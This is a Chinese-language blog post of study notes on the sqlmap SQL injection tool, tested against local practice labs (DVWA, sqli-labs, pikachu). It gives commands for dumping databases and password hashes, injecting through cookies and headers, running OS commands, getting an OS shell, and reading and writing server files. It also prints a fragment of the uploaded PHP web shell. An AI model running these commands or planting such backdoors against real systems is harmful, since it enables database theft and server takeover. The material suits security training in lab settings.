【SQL注入】之SQLMAP工具的使用

隐身守侯 提交于 2020-11-02 15:56:16

(本文仅为平时学习记录,若有错误请大佬指出,如果本文能帮到你那我也是很开心啦)

 

一、介绍

1.SQL注入工具:明小子、啊D、罗卜头、穿山甲、SQLMAP等等

2.SQLMAP:使用python开发,开源自动化注入利用工具,支持12种数据库 ,在/plugins/dbms中可以看到支持的数据库种类,在所有注入利用工具中它是最好用的!!!

3.支持的注入类型:bool、time、报错、union、堆查询、内联

4.功能:

  • 可以获取用户名、密码、权限、角色、数据库(表、字段、内容)
  • 可以爆破识别密文数据
  • getshell(反弹shell)
  • 命令执行
  • 脱库或删库

 

二、SQLMAP的目录介绍:

目录 介绍
doc 介绍文档
extra sqlmap额外的功能,运行cmd、执行命令
lib sqlmap 的核心功能代码
plugins 包含12种数据库的识别程序
data 存放一些攻击过程种使用的工具或者命令
/data/procs 包含了mssql、mysql、oracle、postgresql这四种数据库的触发程序
/data/shell 远程命令、后门
/data/txt 表名、列名、UA字典
/data/udf 存放攻击载荷(payload)
/data/XML 存放检测脚本(payload)
tamper 包含各种绕过WAF的处理脚本
thirdparty 包含第三方插件,如颜色、优化等等
waf 识别WAF的脚本

 

三、SQLMAP的工作流程

1.初始化

1 salmap -v  查看版本
2 salmap --update  更新

2.开始检测

  • 检测之前是否注入过(会把当前检测URL 默认存放在用户家目录中.sqlmap下的output),使用--output-dir可指定存放的目录
  • 解析URL,判断URL是否可访问
  • 检测是否有WAF
sqlmap -u "目标url" --identify-waf
sqlmap -u "目标url" --check-waf
  • 执行用户输入的参数
 1 -u  指定URL
 2 -p  指定参数
 3 -v  指定显示级别
 4 --dbs  目标服务器中的数据库
 5 --current-db  当前数据库
 6 --tables  目标数据库有什么表
 7 --columns  目标表中有什么列
 8 --dump  获取数据
 9 --batch  跳过问询(yes)之间执行,批处理,在检测过程中会问用户一些问题,使用这个参数统统使用默认值
10 --dbms  指定数据库类型
11 --current-user  查看当前用户
12 --users  查看所有用户
13 --passwords  数据库密码
14 --hostname  系统名称
15 --banner  数据库信息
16 --roles  数据库用户角色
17 等等

 

四、步骤详解

  • GET型注入的SQLMAP利用方法:

1.判断是否有注入点

sqlmap -u "目标url"
  • 当看到探测的结果中有没有环境参数(系统类型和数据库类型),则表明有注入

2.查看所有数据库

1 sqlmap -u "目标_url" --dbs --dbms mysql
2     --dbms=DBMS 指定目标数据库类型

3.获取当前数据库

sqlmap -u "目标_url" --current-db --dbms mysql

4.获取当前数据库下表

 1 sqlmap -u "目标_url" -D 库名 --dbms mysql --tables --batch -v
 2     -D DB 指定从某个数据库查询数据
 3     -v 显示信息的级别,一共有六级:
 4         0:只显示python 错误和一些严重信息
 5         1:显示基本信息(默认)
 6         2:显示debug信息
 7         3:显示注入过程的payload
 8         4:显示http请求包
 9         5:显示http响应头
10         6:显示http相应页面

5.获取当前数据库中指定表下的字段

1 sqlmap -u "目标url" -D 库名 -T 表名 --columns
2     -T TBL 指定从某个表查询数据

6.获取指定字段对应的数据内容

1 sqlmap -u "目标url" -D 库名 -T 表名 -C 字段名1,字段名2,等等 --dump
2     -C COL 指定从某个列查询数据
3     --dump 查询指定范围的全部数据
4         (对加密的密码进行彩虹表攻击)

 

五、SQLMAP工具测试

  • GET型 ,测试使用DVWA中的SQL Injection模块(Low级别)

1.检测是否有注入点

sqlmap -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#"

  • 翻译(注入过程中询问的内容)

sqlmap got a 302 redirect to 'http://127.0.0.1:80/dvwa/login.php'

sqlmap得到302重定向到“http://127.0.0.1:80/dvwa/login.php”

you have not declared cookie(s), while server wants to set its own ('PHPSESSID=ua503vlvaom...715dscplg7;security=impossible;security=impossible')

您尚未声明cookie,而服务器希望设置自己的cookie('phpsessid=ua503vlvaom…715dscplg7;security=impossible;security=impossible')

  • 由上图可知,结果是跳转到登录页面,是需要带cookie的,查到session为nh9elbltn3coe0kgvdnq1l6755在地址栏种输入javascript:alert(document.cookie)查询cookie)

sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low;PHPSESSID=nh9elbltn3coe0kgvdnq1l6755" --batch
  • POST型注入的SQLMAP利用方法(这种方式GET型数据也可利用):

1.拦截数据包

2.将拦截到的数据包保存在post.txt文件里

  • 右键空白处,选择Cope to file

3.查看post.txt的内容

4.使用SQLMAP进行检测

1 python sqlmap.py -r C:\Users\admin\Desktop\post.txt -p "uname" --batch
2     -r  读取指定的文件
3     -p  告诉SQLMAP测试哪个参数

 

六、cookie 注入

1.介绍:数据经过cookie发送给服务器,cookie可以传输参数,并且有注入点

2.cookie型注入利用方法(测试使用sqli-labs第20关):

  • 抓取的数据包来源于下面的界面

  • 将抓取到的数据包发送到Repeater模块中,Go一下,查看回显

  • 检测注入点

  • 将此数据包保存在post_cookie.txt文件里(这个数据类型是GET型,当时写错了)

  • 使用SQLMAP进行检测
python sqlmap.py -r C:\Users\admin\Desktop\post_cookie.txt --cookie "uname=12" --level 2
    --level=LEVEL  执行测试的等级(1-5,默认是1,lv2:cookie; lv3:user-agent,refere; lv5:host 在sqlmap/xml/payloads文件内可以看见各个level发送的payload)
或sqlmap.py -r C:\Users\admin\Desktop\post_cookie.txt --level 2

    • 从回显中可以看到,SQLMAP自动将获取到的数据记录到了一个目录下,进入到该目录下的127.0.0.1中,该目录下的log记录的检查出的结果

 

七、XFF注入

  • 注入基本过程(方法与cookie注入类似)

1.拦包

2.使用SQLMAP检查注入点

  • GET型数据:
sqlmap -u “目标URL” -p “x-forwarded-for” -level 3
  • POST型数据:
sqlmap -r post_xff.txt --level 3

 

八、UA注入

  • 测试使用sqli-labs第18关
  • 注入基本过程(方法与cookie注入类似)

1.拦包

2.使用SQLMAP检查注入点

  • GET型数据:
sqlmap -u “目标URL” -p “user-agent” -level 3 
  • POST型数据:
1 sqlmap -r post_ua.txt --level 3 --dbms mysql --batch
2   --dbms  指定目标数据库类型
3 sqlmap -r post_ua.txt --level 3 --current-user
4   --current-user  查看当前用户

 

九、SQLMAP注入点执行系统命令或交互式shell

1.条件:

  • 数据库有读写文件的权限
  • 需要知道WEB站点的路径(可使用select @@datadir)

2.使用SQLMAP执行系统命令

1 sqlmap.py -u “目标URL” --os-cmd=ipconfig
2     --os-cmd=OSCMD 执行一句系统命令
3 sqlmap -r post_ua.txt --level 3 --os-cmd=ipconfig  执行系统命令ipconfig
4 sqlmap -r post_ua.txt --level 3 --os-shell  获取系统的shell
5 sqlmap -r post_ua.txt --level 3 --is-dba  判断当前用户是否为管理员

 

十、延时注入

1 sqlmap.py -u "目标url"  --delay 2
2     --delay 2 延时2S注入

 

十一、执行数据库命令

  • 命令:
1 --sql-query=QUERY  执行一个sql语句
2 --sql-shell 创建一个sql的shell(获取一个交互式的数据库终端)
3 --sql-file=SQLFILE  执行一个给定文件中的sql语句
  • 注入利用:
    • 测试使用pikachu里的sqli中字符型注入(需要在Github中查找资源并搭建)

1.浏览网站pikachu,http://127.0.0.1/pikachu/vul/sqli/sqli_str.php?name=admin&submit=查询

2.使用SQLMAP检测注入点

sqlmap.py -u "http://127.0.0.1/pikachu/vul/sqli/sqli_str.php?name=admin&submit=查询" --batch

3.根据回显存在注入点,使用SQLMAP执行数据库命令

sqlmap.py -u "http://127.0.0.1/pikachu/vul/sqli/sqli_str.php?name=admin&submit=查询" -p name --dbms mysql --os-cmd=whoami
  • 在下图红框内可以看到系统命令被正常执行

    • 翻译(注入过程中询问的内容):

Web服务器支持哪种Web应用程序语言?

[1]asp

[2]ASPX

[3]jsp

[4]php(默认)

>4

是否希望sqlmap进一步尝试触发完整路径泄漏?[是/否]是

[21:34:02][警告]无法自动检索Web服务器文档根目录

要将什么用于可写目录?

[1]公共位置(C:/xampp/htdocs/,C:/wamp/www/,C:/inetpub/wwwroot/')(默认)

[2]自定义位置

[3]自定义目录列表文件

[4]蛮力搜索

>2

是否要检索命令标准输出?[是/否/否]是

命令标准输出:“desktop-18q770s\admin”

请提供一个逗号分隔的绝对目录路径列表:f:\phpstudy_64\phpstudy_Pro\www//路径需要自己输入

4.获取一个交互式的数据库终端

sqlmap.py -u "http://127.0.0.1/pikachu/vul/sqli/sqli_str.php?name=admin&submit=查询" -p name --dbms mysql --os-shell

  • 在注入过程中会自动生成后门文件

    • 翻译:

[21:40:33][info]文件暂存器已成功上载到“f:/phpstudy_64/phpstudy_Pro/www/”-http://127.0.0.1:80/tmpupjuy.php

[21:40:33][info]后门已成功上载到“f:/phpstudy_64/phpstudy_Pro/www/”-http://127.0.0.1:80/tmpbaqhn.php

    • 在浏览器中两个文件访问查看效果

      • http://127.0.0.1/tmpupjuy.php   辅助工具,用来上传木马

      • http://127.0.0.1/tmpbaqhn.php 木马

        •  其内容为:
<?php $c=$_REQUEST["cmd"];
        • 浏览http://127.0.0.1/tmpbaqhn.php?cmd=whoami,可以看到其功能

 

十二、SQLMAP 直连mysql数据库

1 python sqlmap.py -d "mysql://root:root@目标IP:3306/mysql" -f --banner --dbs --users
2     -f, --fingerprint  指纹信息,返回DBMS,操作系统,架构,补丁等信息
3     --hostname  获取系统信息
4     --banner  获取数据库信息
5     --roles  获取数据库用户角色

 

十三、sqlmap注入利用Access

1.Access数据库:没有库的概念,打开数据库文件看到只有表和字段以及内容

2.Access注入过程(注意其特性,只有表和表下的字段内容):

  • 先探测注入点
  • 获取数据库表
sqlmap.py -u "目标url" --tables  获取所有的数据表
  • 获取字段
sqlmap.py -u "目标url" -T 表名 --columns  获取字段
  • 获取字段内容
sqlmap.py -u "目标url" -T 表名 -C 字段名 --dump  获取字段内容

 

十四、SQLMAP结合BP日志进行被动式注入发现

  • 测试在pikachu里的sqli中数字型注入

1.开启BP2.1的日志记录功能,并将日志内容保存到桌面log.txt中

  • 勾选后会弹出下面的窗口,我选择的是已经建好的文件log.txt,弹出警告,选择Yes即可

2.抓包

3.在浏览器中多进行几次提交,需要提前关闭BP中的Intercept is on,然后打开log.txt,浏览器提交的数据全部进入到了log.txt中

4.使用SQLMAP进行检测

1 sqlmap.py -l C:\Users\admin\Desktop\log.txt --batch
2     -l 后接一个log文件,可以是burp等的代理的log文件,之后sqlmap会扫描log中的所有记录

  • 翻译(最后一句):

您可以在csv文件“c:\ users\admin\appdata\local\sqlmap\output\results-10302019_1119pm.csv”中找到以多目标模式扫描的结果。

5.打开results-10302019_1119pm.csv文件,可知该URL中存在的注入类型

(Parameter:参数  Technique:技术)

  • SQLMAP指定测试注入的技术:
1 python sqlmap.py -u “目标URL” -dbms mysql --technique=T
2     --technique=TECH 指定所使用的技术(B:布尔盲注;E:报错注入;U:联合查询注入;S:文件系统,操作系统,注册表相关注入;T:时间盲注; 默认全部使用)
3         B: Boolean-based blind SQL injection(布尔型注入)
4         E: Error-based SQL injection(报错型注入)
5         U: UNION query SQL injection(可联合查询注入)
6         S: Stacked queries SQL injection(可多语句查询注入)
7         T: Time-based blind SQL injection(基于时间延迟注入)
8         Q: inline_query SQL injection(内联注入)

 

十五、SQLMAP读写文件

  • 命令:
1 --file-read=RFILE 从后端的数据库管理系统文件系统读取文件 (物理路径)
2 --file-write=WFILE 编辑后端的数据库管理系统文件系统上的本地文件 (mssql xp_shell)
3 --file-dest=DFILE 后端的数据库管理系统写入文件的绝对路径
  • 测试使用pikachu里的sqli中字符型注入

1.使用SQLMAP读文件

sqlmap.py -u "http://127.0.0.1/pikachu/vul/sqli/sqli_str.php?name=admin&submit=查询" -p name --dbms mysql --file-read="F:\phpStudy_64\phpstudy_pro\WWW\PDO_kuanjiezi.php"

  • 译:

正在获取文件:“f:/phpstudy_64/phpstudy_Pro/www/pdo_kuanjiezi.php”

是否确认已从后端DBMS文件系统成功下载远程文件“f:/phpstudy_64/phpstudy_Pro/www/pdo_kuanjiezi.php”?[是/否]是

[23:57:05][info]本地文件'c:\ users\admin\appdata\local\sqlmap\output\127.0.0.1\files\f_u phpstudy_u phpstudy_u pro_www_u kuanjiezi.php'和远程文件'f:/phpstudy_u 64/phpstudy_u pro/www/pdo_u kuanjiezi.php'具有相同的大小(988b)

文件保存到[1]:

C:\Users\admin\AppData\Local\sqlmap\output\127.0.0.1\files

[23:57:05][info]获取的数据记录到文本文件中,位于“C:\users\admin\appdata\local\sqlmap\output\127.0.0.1”

  •  进入C:\users\admin\appdata\local\sqlmap\output\127.0.0.1目录下,里面有读取到的文件的记录,使用SQLMAP读取文件成功

2.使用SQLMAP写文件

  • 新建log.txt文件,并写入以下内容

  • 使用SQLMAP写文件
sqlmap.py -u "http://127.0.0.1/pikachu/vul/sqli/sqli_str.php?name=admin&submit=查询" -p name --dbms mysql --file-dest="F:\phpStudy_64\phpstudy_pro\WWW\loglog.php(目标服务器中的文件,绝对路径)" --file-write="C:\Users\admin\Desktop\log.txt(攻击者电脑中的文件路径)"

    • 翻译:

是否要确认本地文件“c:/users/admin/desktop/log.txt”已成功写入后端DBMS文件系统(“f:/phpstudy_64/phpstudy_Pro/www/loglog.php”)。[是/否]是

[00:08:58][info]远程文件“f:/phpstudy_64/phpstudy_Pro/www/loglog.php”比本地文件“c:/users/admin/desktop/log.txt”(18b)大(19b)

[00:08:58][info]获取的数据记录到文本文件中,位于“C:\users\admin\appdata\local\sqlmap\output\127.0.0.1”下

  • 使用WinHex打开F:/phpstudy_64/phpstudy_Pro/www/loglog.php

  • 使用浏览器进行访问,可以看到使用SQLMAP写入文件成功

 

易学教程内所有资源均来自网络或用户发布的内容,如有违反法律规定的内容欢迎反馈
该文章没有解决你所遇到的问题?点击提问,说说你的问题,让更多的人一起探讨吧!